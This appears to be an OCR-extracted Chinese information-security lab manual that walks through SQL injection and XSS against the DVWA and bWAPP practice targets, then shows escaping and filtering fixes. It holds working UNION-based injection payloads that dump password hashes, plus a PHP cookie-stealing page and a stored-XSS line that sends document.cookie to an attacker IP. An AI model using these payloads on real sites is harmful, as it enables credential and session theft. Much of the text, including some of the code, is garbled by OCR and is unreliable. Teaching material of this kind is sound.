信息安全技术与应用实训指导书.docx
信息安全发展态势与知识拓展实训项目指导手册目录Web安钿用分析之SQ1.注入及惭配JS1.()(«()«()实脸概述-.2实验环境实验流程.3任务1环境准备任务2判断注入点.5任务3任务4任务5任务6猜测字段数执行Union联合街旬获取数也10*»«.»»»Web安全应用分析之SQ1.注入及防护配置实验概述SQ1.注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的雄忽,通过SQ1.语句,实现无账号登录,甚至篡改数据库。凡有SQ1.注入漏洞的程序都是因为程序要接受来自客户端用户输入的变用或UR1.传递的参数,并且这个变量或参数是组成SQ1.语句的一部分.DVWA(DamVu1.nerab1.eWebAPP1.iCation)是用PHP+Mysq1.编写的一套用于常规Web漏洞教学和检测的Web脆弱性测试程序,提供1.ow.Medium.High.Impossib1.e四个安全级别,包含了SQ1.注入、×SS,CSRF等常见的Web安全屈洞1.HaCkBar是FirefoX提供的插件,主要功能有:网址的栽入访问、联合直询、各种编码/解码、数据加密等.HaCkBar可以帮助安全人员测试SQ1.注入、XSS.CSRF等安全高同以及网站的安全性.实验环境攻击机:WindowsServer2016(OI-WindoWS攻击机),IP:192.168.200.130靶机:WindowsServer2016(O1.-Windows攻击机),IP:192.168.2.130集成环境:PhPStUdy网站:DVWA-v1.10,Iow安全级SI1.前提条件本实睑要求: 熟恐WindoWS基本操作 熟恐基本的SQ1.语句实验流程实验目标完成本实验后,将能够: 了解SQ1.注入原理 掌握基本SQ1.注入方法 掌握SQ1.注入漏洞防护方法任务1环境准备【任务目标】启动动态网站集邮境,并访问SQ1.注入站点.【任务步骤)1 .启动动态网站集成环境双击桌面的"Phpstudyrt集成环境,并单击"启动"按钮,运行网站.2.浏览器访问SQ1.注入站点双击桌面的"火狐浏览器",在UR1.地址栏中输入:http127.0.0.1dvwa1.ogin.php输入默认账号和宓码登录网站:账号:admin密码:passwordTDIBBt)CMW«»|>Xaa)«a(WGenera1.InstructionsWetoDamnVu1.nerab1.eWebApp1.ication!DvWmoMitcatotMMWM«IM*W0Qtf<<<a9iVWer*Mat*m«tf19Mua*r9X4VWM*h>MtwM*Wto*>4to*i2>iWMtCVgVIVMM2agMM-91M"U(*4Mt*MMSUMre4M0Mr1.M*MWiX*c*c*wv«*rG0*M*rtc»e»»«<»*wr4ro»i«<mnCMMFwvnMrraMvMMMM,4rMMtam>MJIWMMtfIve4vkWVrWMMtf<MWg.«f<4toM>Cv<4rtfhoww«m«>12IWyhmtOMM*>eZmtond。imAdgI>U"MKweMT7HmwnctVm«mMif1.ockmcMZUMCCtrMt<m4r*ratM44wmrvTte-VNu>>ap<t>feIyGdgBvoe*VMun.rm4MKMMWMAM>MFMva(MM)F»<MMhctcmXratM«ant2Be三(Wf1.MMtMkrV11Mmantintar<wadar«rtrvr<tworr*nattrtctra<aMrtwW-"m5fMafeevm2mmoCM*(rcrtw2tMsM«wiM1.>fWfwr<aM*MItaMWteMitwWtoTdMtftraeES,IvMatIMrIMhmthJtnkr*stoVTwt*><wMmVrKtfWttfn*>J*i>Mv单击左侧菜单导肮栏的"SQ1.Injection",进入SQ1.注入页面.Brut*FcewCofMnandMtkmCSItFF1.kInC1.UMoa1.F1.1.1.kMdtowcwCAFTCHAUMfOSuMVu1.nerabi1.ity:SQ1.InjectionMoreInformationMXkVMon(1.M)WukSMk>0IDvXS8(00MXSSiIteftoctodIX>S(StorCSPBypM*任务2判断注入点【任务目标】利用加单引号等方式,判断页面是否存在注入点。【任务步噱】1.判断是否存在注入点在输入框中,输入:1并单击"Submit"按钮提交.页面回显了ID为1的用户姓名信息,说明页面正常.继续在输入糖中,输入:1'并单击uSubmit"按钮提交。页面报错并显示了错误信息,根据错误信息可以了解到此错误为语法错误,数据库类型为MySQ1.e注:因为该站点为字符型注入漏洞,所以需要构造闭合语句.构造如下闭合逻辑语句:1'and1=1#可以看到语句能够成功被服务器执行,并显示正常的页面信息.继续构造闭合逻辐语句:1'and1=2#可以看到语句能够成功被服务器执行,但页面没有正常信息回显.根据以上执行结果判断,该页面确定存在SQ1.注入漏洞.任务3猜测字段数【任务目标】通过Orderby猜测查询的字段数量。【任务步噱】1.猜测字段数为10构造如下闭合语句:1 ,orderby10#Vu1.nerabi1.ity:SQ1.InjectionUserID:rorderby10,SubmitMoreInformation页面报错,并显示不存在10个长度的字段,说明字段数小于10.因此范围在1到10之间。XMtY)彷史045三()XRD懵Shttp7127.0.bnit-Subrr×+127Qo1.IdvwaMncbi1.itiesq1.Wid:UrderbyNO一CSSf<CtrftK>UnknOWnCoIUM'10'in,orderc1.ause'2 .猜测字段数为5一般采用"二分"方法来猜测字段数,如:第一次猜测为100,下一次为50,再下一次为25以此类推,直到猜出正确的字段数.继续构造:1,orderby5#,同样显示错误,说明数量不为5.文件«a(E)»100历史(三)书?5CB)IRQ)M助(三)http:127.0.bm"=SubmgX+,;)127.0.0.1dvwavu1.nerabiIities/sq1.i/?id=+order+by÷5+%WXCtSUnknownco1.umn,5,in'orderc1.ause'3 .猜测字段数为3继续构造:1,orderby3#,同样显示错误,说明数量不为3。文件(D«»:£)»«(y)历史不答(R)IM(Det(三)http1.270.bmit-Sbmit*X+127.0.0.1/dvwa/vu1.nefab«1.rties/sq1.i/?>d三*orderby3*%C“百St«E+K>InknOwnco1.umn'3'in'orderc1.ause,4 .猜测字段数为2继续构造:1,orderby2#,页面显示正常,说明字段数量为2.Vu1.nerabi1.ity:SQ1.InjectionUSer10:rorderby2«Submit:D:1,ordrby2Firstnt:Surneme:retainMoreInformation任务4执行Union联合查询【建目标】通过执行union联合查询,确定回显位苴。【任务步骤】1.构造联合查询语句确定查询字段数量后,可以通过联合直询语句来确定数据回显的位置,最后通过该位置获取数据库中的敏感信息.构造如下语句:1'unionse1.ect1.2#,有多少个字段数,se1.ect后面就加上对应的数字。Vu1.nerabi1.ity:SQ1.InjectionU*rIOSutvnrtXD:1.unionse1.ectI,2Firstnane:dinSurna»e:anine1.ect1,2t1V此处的1和2即为回显位置任务5获取数据【任务目标】通过构造并执行unionse1.ect查询语句,获取数据库中的数据信息.【任务步骤】1 .获取数据库相关信息通过内嵌函数version。,database。等获取数据库版本信息和数据库名.构造语句:1'unionse1.ectVerSiOnO,database。#Vu1.nerabi1.ity:SQ1.InjectionU*rIDSubmitXD:1*unionse1.ectversionOdatabaseOIFirstna»e:dninSurndwe:annID:1.unionse1.ectversion<),database<)First11ab:5.5S3Surnane:dw4MoreInformation h1.1.WRwu>¾cri>60f>XMrthwv1.wBBf1.MRTM1.Iiw1. ht!ptfgwfcipdaorQMVSQ1.incton httD,.、;/一;*得到数据库名为:dvwa,MySQ1.数据库版本为5.5.53.2 .获取数据库表名在MySQ1.版本大于5时,默认存在information.schema库,该库中存在其他库的所有数据.根据已经获得的信息,继续构造语句,获取数据库表名:1'unionse1.ecttab1.e_name,2frominformation_schema.tab1.eswheretab1.e-schema=,dvwa,#Vu1.nerabi1.ity:SQ1.InjectionUW1.OSutxntID:1,un100se1.ecttb1.oj4e,2frannfo11Mtonscbev*a.tab1.eswheretab1.escirscnw:dn>nSumane:a<t1.nID:1.UA1.oose1.ectgb1.eju>e,2frcatnforB*t1.onscheM.XAto1.eswheretab1.e*firstn«M:9uabsekSurn*M:211XD:1uniona1.cttb1.j*w,2fromInfaxnatian_acb«SM.tbIawheret«b1.«_acF15Cne:U3。"9rnn9:2-""MoreInformation可以看到,在1的回显位置上,显示了两张数据库表名:guestbook,users.其中USerS表名存在管理员帐号密码可能性最大.3 .获取字段名继续构造联合查询语句,获取USerS表的字段名:1'unionse1.ectco1.umnname,2frominformation.SChema.co1.umnswheretab1.e-schema='dvwa,andtab1.e-name="users'#Vu1.nerabi1.ity:SQ1.Injection*<0SOrM1.ratMM:4BIDSAM,forsat得到8个字段名,猜测USerfpassword字段分别存在账号和密码.4 .获取字段内容构造SQ1.查询语句,获取字段IJSer和PaSSWOrd里面的内容:1'unionse1.ectuser,passwordfromusers#Vu1.nerabi1.ity:SQ1.InjectionUMrIDSubmitXD:1*unionse1.ectus«r,passwordIronusersIFirttnane:adminSurname:aOninXD:1,up:二,RBU1.m1.1.rC工.Udwrz=Id气3Firstnae:adn.mSurnawe:15f4dcc3b5aa765d61d8327dcb382cf99D:1,unionse1.ectuservpasswordfronuserstFiratn:gordonbSumans:99A18c428cb38d5f260853678922tt03ZD:1*unionse1.ectuserrpasswordfroauserstFirstna>M:1337Surnan:843533d7223966d78”cc69216bXD:1unionse1.ectua*r,pAi4wor<1.fro三ur9Firstnane:Xb1。5um!M>:Gd1.07d09f5bbe40cadeie5c71e9e9b7XD:&tunionse1.ectu»«rfpasswordfron9Firstnone:smithySurnewe:Sf4dcc3b5aa76M61d8327<W>882cf99最终得到5个用户的账号和密码,其中包括管理员账号和密码:admin5f4dcc3b5aa765d61d8327deb882cf995 .密码解密由于多数站点的默认:库用户密码加密方式为:MDS哈希算法,而dvwa站点默认也是采用此算法进行密码加密.因此,可以将密码放到在线解空网站进行解密.例如:最终得到admin用户的密码为password任务6SQ1.注入防护【任务目标】通过在页面中加入防护代码,实现对SQ1.注入漏洞的代码级防护效果.【任务步噱】1.mysq1._rea1.eSCaPe_String()函数mysq1._rea1._escape_String()函数可以将用户输入的特殊字符进行转义.转义的特殊字符包括:×00'(单引号)"(双引号)x1.a进入C:phpStudyPHPTutoria1.WWWDVWAvu1.nerabi1.itiessq1.isource文件,三ow.php文件。将$id=$_REQUESTid'修改为$id=mysq1._rea1._escape_string($_REQUEST'id');6*Mo*F*c4r->>MMvr4c<1ffDyw)mv*nBMKI*najo*w口恪加acaf.3H«M4rt3Ca一3-*。J29<?PhPif(isset<$REQVEST'Sumi1.)<I:y三q1.-r1.-eC4M*-三trin<j"""/C0ckdAtAtMiJioSquory-SE1.ECTfirstnanatIaStn1.IeQFRCHusersWHEREUgrJd,5d,;*;$ro5u1.tuyiq1.i_query<:$G1.OBA1.SIm11y:!iSton-1.SquOry)orde(,r<,11/G«tresu1.tsvhi1(Srow-ysq1.i_f«tch_«B»oc(Sresu1.t>>(13G«tv*1.u<3SfirscSrowCtiratn.wo-|;$1.ast$row(*1.astnano);16/FZdbaCkforenduser$htn1.-ISnU:.rr.:(S11C3t)i,:19IBysq1.ic1.ose<:$G1.OBA1.S(":!5ton*J);保存并退出编辑。2 .验证漏洞修且结果在SQ1.注入页面中,执行1'and1=1#语句。可以看到页面已经不再显示任何内容,也没有报错提示,说明漏洞已经修复成功.3 .adds1.ashes()函数adds1.ashes()函数同样可以将特定字符进行转义,从而达到修爱效果.进入C:phpStudyPHPTutoria1.WWWDVWAvu1.nerabi1.itiessq1.isource文件夹,编辑ow.php文件。将$id=$_REQUESTrid'修改为$id=adds1.ashes($_REQUEST'id');ATMC*WMA*MF<A*aa*<MvYM-"hctnMdA*M>rc*1-DXmMXiEV,mv三K1M>«R»Ir.IZ1.«1M)SV<,M1BTXNf1.?X>H«M4b*C9Ca44r>>»»*®_J19<hp三If1.ISSCtI$REQUEST:,.r11.fj)><|$id*oddn.h”J3REQVESfI'7J)J/Chockdatabf1.Q$<pory»"SE1.ECTfirstna11c,1.astna»oFROHusersWHEREuaorid1.,¢d'$resu1.t-nysq1.x-query($G1.0BA1.S-r"rSqUCry>ordie<'-'I/Getreau1.tewhi1.eISrowBysq1.1._fetch_assoc(8rau1.t>I(I13/Gotva1.ues$first-5row("firstnaf>o;$1.ast-$row(-1.astnaoe"I16/F00>ackforenduserShta1.-*<pr>in:ISidhbr/;?:rntn«M:(Sfirat):jrnaM:1S1.ast19I1ay1.o(5G1.O0A1.S("nysq1.i3ton"J);*<MBBIHIEBfiSQBeMHMMBUHMOBf1.HBK4 .验证漏洞修复结果在SQ1.注入页面中,执行1'and1=1#语句.»»H)MDM12门2MnZWM3c3f3"adMSUD.1.Ofi4*>->'UXOI'f¼j118rr<MoreInformationVu1.nerabi1.ity:SQ1.Injection可以看到页面已经不再显示任何内容,也没有报错提示,说明漏洞已经修更成功。注:上述修复方式并非完全修其漏洞,攻击者仍然有多种方法可以利用漏洞.磁4女,T象姥比才龙寻灾求是格物致知v三>yMMWVM«atAMO至此,实睑结束。大卡工用嗫埼抵街亭坊om½WTKMicScuj11w«©cw<信息安全发展态势与知识拓展实训项目指导手册V1.0k1JIi1.AXSS跨站幽本点击劫持分析及防沪概述实验环境.实脸目标任务1反射型XSS漏解惘任务2存储里XSS漏洞利用任务3XSS漏洞防护目录1919a(t(ta(ta1ae(1(1919>na(«()(«K|(«(«11919>(1.1.i1.(1202330XSS跨站脚本点击劫持分析及防护概述鹿站脚本攻击XSS(CrossSiteSCriPting)是恶越攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的.XSS攻击针对的是用户层面的攻击,可以用来进行钓鱼攻击、前端js挖叶、用户cookie获取,甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等.XSS跨站脚本攻击分为三类:反射型XSS(ref1.ected)、存储型XSS(StOred)、DOMBasedXSS4本买脸使用的把场环境为:DVWA.bWAPP.实验环境攻击机:WindowsServer2016(O1.-Windows攻击机),IP:192.168.200.130靶机:WindowsServer2016(03-WindoWS即),IP:192.168.200.156前提条件本实脸要求: 熟怒WindoWS基本操作 熟恐基本的PHP函数和HTM1.标签实验流程反射型XSS泥泥利用、存储型XSS后洞利用实验目标完成本实蛉后,您将能够: 掌握XSS漏洞基本利用方法 掌握利用XSS获取用户cookie的方法 掌握XSS漏洞的代码级防护方法任务1反射型XSS漏洞利用【任务目标】构造XSS代码,触发反射型XSS攻击,并通过反射型XSS漏洞,获取用户cookie信息.注:本实验把场为:DVWA.【任务步骤】1.靶机开启网站环境在靶机上,运行PhpStudy网站环境。2.攻击机访问靶机DVWA站点在攻击机打开浏览器访问http<W1.IP>dvwa1.ogin.php,账号:admin,密码:password女ef)MU*,光茂处H三fiIXDQM-OX÷j-2JSi-WVKed百St心力©3翕6,三163.设置安全等级在DVWA首页,单击左侧菜单栏“DVWASecurity-,将安全等级设省为:Iowe卜1W.I00DVWASecurity»Security1.v1.SMWVT1.MNHCMrw*1.WIUw-fh»*rttovtfat1M>wtiEteancWCuVtrr»«mtob*»<Mnv<tf*vwt><<Ac*<r><A0ta*M*w>tMitadCCdngprvrtCMMtdtav«w«4(Mforr<toMcBeoMa*nfK2MW'1»»m<«0®to*urMto*MtrfbdMCWpfcca««*«draM*MWaWMsWCwVan«*aBWa1.cg.Oto>9ur1.h*1<*)<*11nCfMm)2TMC<M4etMRr*11">Mn<>cAf<um<M<fMrwtMfyacc4»«wtto««««cen»v«iMaMeVEEaae«8«<TVMMtdt»90M<MWWGar>JMVZF>(CTFQCt<fm4HpM<HnIVMiMUJdtNMCS9vnwtwraMItMftonw»>MtABevcCgtotmomtMcs*2t)6WS9EIf6w*syB¾>>IPHPIDSw><0d*ewxt*3rt"fys"W*dfk*H<Y>vcm&vHvroervuwccM<*rfQMMM>Mp9r*MC*1.uMr)OAAgM0E«M«yZ0C4>A,TMbOW»119VMwu>¼ECW»W<«WWMacavtec11o4 .访问反射型XSS漏洞页面在DVWA首页,单击左侧菜单栏wXSS(Ref1.ected)",进入反射型XSS漏洞页MoreInformation¼trmrv*?SiMVu1.nerabi1.ity:Ref1.ectedCrossSiteScripting(XSS)5 .执行攻击测试构造XSS代码:<script>a1.ert(/xss/);</script>该代码含义为:执行弹窗m¾(HD3O>atV)Z<script>a1.ert(xss);</script>将代码填写到input输入框中,并点击"Submit"提交。页面成功弹窗,说明攻击代码已被执行.6.获取用户cookiegXSS代码:<script>a1.ert(document.cookie)<script>JWIWD«Xio>v)H><script>a1.ert(document,ckie)z<script>将代码填写到input输入框中,并点击"Submit"提交.页面成功弹窗,并将当前用户cookie信息显示在弹窗中,说明成功获取到用户cookie信息.任务2存储型XSS漏洞利用【任务目标】构造XSS代码,触发存储型XSS攻击,并通过存储型XSS漏洞,获取用户cookie信息。注:本实验靶场为:bWAPP.【任务步噱】1.访问bWAPP页面在攻击机打开浏览器访问http<三1.IP>bwapp1.ogin.php,账号:bee,宙码:bug,安全等级设置为:1.ow.2.访问存储型XSS漏洞页面在bWAPP首页,单击右侧下拉框选择"Cross-SiteScripting-Stored(BIog)"并单击"Hack"按钮,进入存储型XSS漏洞页面.3.执行攻击测试构造XSS代码:<script>a1.ert(xss);<script>Im*be-已事3丈忖®-ki)ms管5V).<M<script>a1.ert(xss):</script>将代码填写到输入框中并点击-Submit"进行提交./XSS-Sfcred(BIog)/Ia.EW.tAX01.%提交成功,并且嵌入的代码被执行。此时,代码已经成功被写入到服务器中。因为代码在服务器中永久保存,所以重新访问该漏洞页面,仍然会触发XSS代码./XSS-S+cred/一M3.4XC.I"1.iM-14.获取其他用户cookie(1)编写获取cookie值的页面编写一个可以获取用户cookie数值的页面,并存放到服务器中,具体代码如下:<?phpScook=$_GETrCOOkie以GET方式获取cookie$ip=$_SERVER('REMOTE_ADDR'$time=$_SERVER'REQUEST_TIME'截取字符串1各数据写入txt文本$cookie=strchr($cook,'P');$fp=fopen(,cookie.txt','a');fwrite(Sfp1"IP:".$ip.,r11cookie:*.Jcookie."rn");fc1.ose(Sfp);?><?phpH<ooki.php$cook-$_GET'cookie,;以GET方式获取COokie$ip-$_SERVER('REMOTEADDR,;$timeZ$_SERVER'REQUESTTIME';$cookie-strchr($cook,'!,);或取字符串$fp=fopw(1.-<-1.1.->k-.r',a);将数据写入CXt文本fwrit(Sfp,"IP;".$ip.rnCookie:".Scookie."rr.");fc1.os(5fp);10111213将写好的代码文件存放到攻击机的网站路径中,并创建一个对应名称的txt文档,用来存放其他用户的cookie信息.在攻击机中,运行网站环境.打开浏览器,本地访问获取cookie的页面。S«tf)>*BWi)a<IO)«t3http1770.Mcoo>e.pX127001,,、;(2)构造XSS语句构造如下XSS语句,当用户访问存在此代码的存储页面,即可获取该用户cookie信息:<script>document.write('<imgsrc="http:/192.168.200.130/xss/cookie.php?cookie='+document.cookie+">>)<script>XH<nMJ)MgMfV)”川<scrit>document.write(,<ijgtsrc=*http:/192.168.200.130/xss/cookie.php?cookie='+document,cookie+'*>>)<script>在XSS漏洞页面填写该代码,并提交./XSS-S+ored(BIog)/SuUnitAdd:0Sbowa1.-0tIYour11trywasadddtoourbk>g'IOwnerOeieEntry5g2022OM3192521代码提交成功,接下来查看cookie.txt文件。2022-0W>3-194359I.coofc<pW>JINIIScoofc.ux2029/31943IKBcook.tx如Hnkn»uwiy)<m<IP:192,168.200.130Cookie:PHPSESSID=j9m2611u7g33sqrj1.kh5hrepv6:security_1.eve1=0可以看到,当前用户cookie信息已经被写入到txt文件中。因为代码在服务器中永久保存,所以其他用户访问该页面,同样会获取到对应用户的cookie信息。CooMetrtk!W5WDR*fc¾0-COWH)security_1.eve1.=OIP:192?168.200.130Cook1e:PHPSESSIP-)9m2611u7r33sqi1.kh5hrp>v6:|p:w1.5fCookie:PHPSESSID=qev5cfd27797imeneb0or4eav7IP:192.168.200.158Cookie:PHpSESS1.D=90msikf2qv64qcau3k7rn5q8a6任务3XSS漏洞防护【任务目标】通过在页面中加入防护代码,实现XSS漏洞的代码级防护效果.本节实验环境为:DVWA,安全等级Iow,防护页面为:XSS(RefIected).【任务步骤】1 .黑名单过漉在C:phpStudyPHPTutoria1.WWWDVWAvu1.nerabi1.itiesxss_rsource下编辑1.ow.php漏洞页面,将<script>等关犍词添加到黑名单,代码修改成如下图所示:早<?PhPheader(wX-XSS-Protcction:");Isthereanyinput?if(array-ky-xist>”,m,”,S_GET)"$_GET,name-!二NU1.1.>J/Get.i.nDu1.|$na工PIaU$GET|);/FeedbackforenduserShtm1.-,<pre>He1.1.oSname)<pre>w;H>?>测赚名单效果.Vu1.nerabi1.ity:Ref1.ectedCrossSiteScripting(XSS)WnifaVKgySUmt可以看到,包含有(script的部分被替换为空,导致无法触发攻击弹窗效果.2 .函数过源编辑XSS漏洞页面,在用户提交的内容处,添加Hm1.spaciaIchasrsO函数进行防护.早<?MPheader("XXSS-Protection:");:/Isthereanyinput?if(arraykyoxi*ts("r.511t",S_GET)“S_GET("n,k"J!-NU1.1.)FnaJne-b51specia1.cbars($_GETiFam,,/FeedbackforenduserShtm1.-w<pre>He1.1.o$naKie|</pre>w;H1.?>泱赋函数实体化效果.Vu1.nerabi1.ity:Ref1.ectedCrossSiteScripting(XSS)MoreInformationHfJ)o<cr1.pr>41.ert(99可以看到,由于添加了实体化函数,代码无法被浏览器识SIJ,导致无法触发攻击此时,右键当前页面,单击"查看页面源代码"。可以看到以及均被函数进行了HTM1.实体化,因此浏览器无法识